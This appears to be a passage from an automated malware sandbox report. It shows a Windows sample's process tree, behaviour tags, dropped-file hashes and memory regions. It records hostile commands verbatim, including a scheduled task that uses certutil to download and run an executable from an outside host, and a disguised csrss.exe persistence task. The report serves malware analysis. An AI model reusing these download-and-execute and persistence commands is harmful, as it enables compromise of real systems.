C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 3324⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 3364⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 3364⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 6244⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 7004⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 7004⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 7364⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 7444⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 7644⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 7724⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 7724⤵
- Program crash
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 9044⤵
- Program crash
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 9044⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 9924⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
-
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 10084⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 10004⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 9524⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 11164⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 11844⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 15684⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 15284⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 15564⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 16364⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 11284⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 15444⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 15444⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 16644⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 3228 -ip 32281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 3228 -ip 32281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3228 -ip 32281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 3228 -ip 32281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3228 -ip 32281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 3228 -ip 32281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3228 -ip 32281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 3228 -ip 32281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 3228 -ip 32281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 3228 -ip 32281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3228 -ip 32281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 3228 -ip 32281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 3228 -ip 32281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 3228 -ip 32281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 3228 -ip 32281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3228 -ip 32281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3228 -ip 32281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3228 -ip 32281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 3228 -ip 32281⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 4228 -ip 42281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4228 -ip 42281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4228 -ip 42281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 4228 -ip 42281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4228 -ip 42281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 4228 -ip 42281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4228 -ip 42281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 4228 -ip 42281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4228 -ip 42281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 4228 -ip 42281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4228 -ip 42281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 3276 -ip 32761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3276 -ip 32761⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
C:\Windows\rss\csrss.exeFilesize
3.9MB
MD56ed750112942f6285b1e86259fdaf75e
SHA12f3a2ca7458575736070079822b632548f485113
SHA256e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111
SHA512ef19e9596c4cc16ab6d4a7c8536fd97b795e4032b3a8a0196b2781032436708e8b33dbe622b535405f34d6f46344fa53ff0feeffc11f394275efc3f946316c06
-
C:\Windows\rss\csrss.exeFilesize
3.9MB
MD56ed750112942f6285b1e86259fdaf75e
SHA12f3a2ca7458575736070079822b632548f485113
SHA256e424bb0403cd15ebb796760b6292ff5b5a323319184dfd7d01796e0305660111
SHA512ef19e9596c4cc16ab6d4a7c8536fd97b795e4032b3a8a0196b2781032436708e8b33dbe622b535405f34d6f46344fa53ff0feeffc11f394275efc3f946316c06
-
memory/1788-154-0x0000000000000000-mapping.dmp
-
memory/2040-152-0x0000000000000000-mapping.dmp
-
memory/3228-133-0x00000000034C0000-0x0000000003CC4000-memory.dmpFilesize
8.0MB
-
memory/3228-134-0x0000000000400000-0x0000000002E87000-memory.dmpFilesize
42.5MB
-
memory/3228-136-0x0000000000400000-0x0000000002E87000-memory.dmpFilesize
42.5MB
-
memory/3228-132-0x0000000003113000-0x00000000034BB000-memory.dmpFilesize
3.7MB
-
memory/3276-147-0x0000000003A00000-0x0000000004204000-memory.dmpFilesize
8.0MB
-
memory/3276-146-0x0000000003600000-0x00000000039A8000-memory.dmpFilesize
3.7MB
-
memory/3276-149-0x0000000000400000-0x0000000002E87000-memory.dmpFilesize
42.5MB
-
memory/3276-148-0x0000000000400000-0x0000000002E87000-memory.dmpFilesize
42.5MB
-
memory/3276-142-0x0000000000000000-mapping.dmp
-
memory/4228-145-0x0000000000400000-0x0000000002E87000-memory.dmpFilesize
42.5MB
-
memory/4228-139-0x0000000000400000-0x0000000002E87000-memory.dmpFilesize
42.5MB
-
memory/4228-138-0x0000000000400000-0x0000000002E87000-memory.dmpFilesize
42.5MB
-
memory/4228-137-0x00000000032CF000-0x0000000003677000-memory.dmpFilesize
3.7MB
-
memory/4228-135-0x0000000000000000-mapping.dmp
-
memory/4252-151-0x0000000000000000-mapping.dmp
-
memory/4256-150-0x0000000000000000-mapping.dmp
-
memory/4440-140-0x0000000000000000-mapping.dmp
-
memory/4652-141-0x0000000000000000-mapping.dmp